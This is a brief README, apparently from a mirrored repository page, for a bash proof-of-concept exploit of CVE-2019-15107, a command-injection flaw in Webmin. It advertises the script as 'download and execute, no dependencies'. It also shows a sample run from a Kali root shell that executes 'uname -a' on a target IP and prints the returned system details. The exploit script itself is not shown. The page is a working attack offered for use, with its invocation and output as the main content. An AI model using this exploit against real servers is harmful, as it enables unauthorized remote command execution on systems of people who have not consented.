CVE-2019-15107 PoC — Webmin 命令操作系统命令注入漏洞

介绍

# CVE-2019-15107

This repo contains a small script in bash to exploit CVE-2019-15107 without using metasploit.
Use is pretty straightforward, just download and execute, no dependencies

```
root@kali:~# ./webmin-CVE-2019-15107.sh 10.10.73.185 'uname -a'
<h1>Error - Perl execution failed</h1>
<p>Your password has expired, and a new one must be chosen.Linux source 4.15.0-108-generic #109-Ubuntu SMP Fri Jun 19 11:33:10 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
</p>
root@kali:~#```

文件快照

备注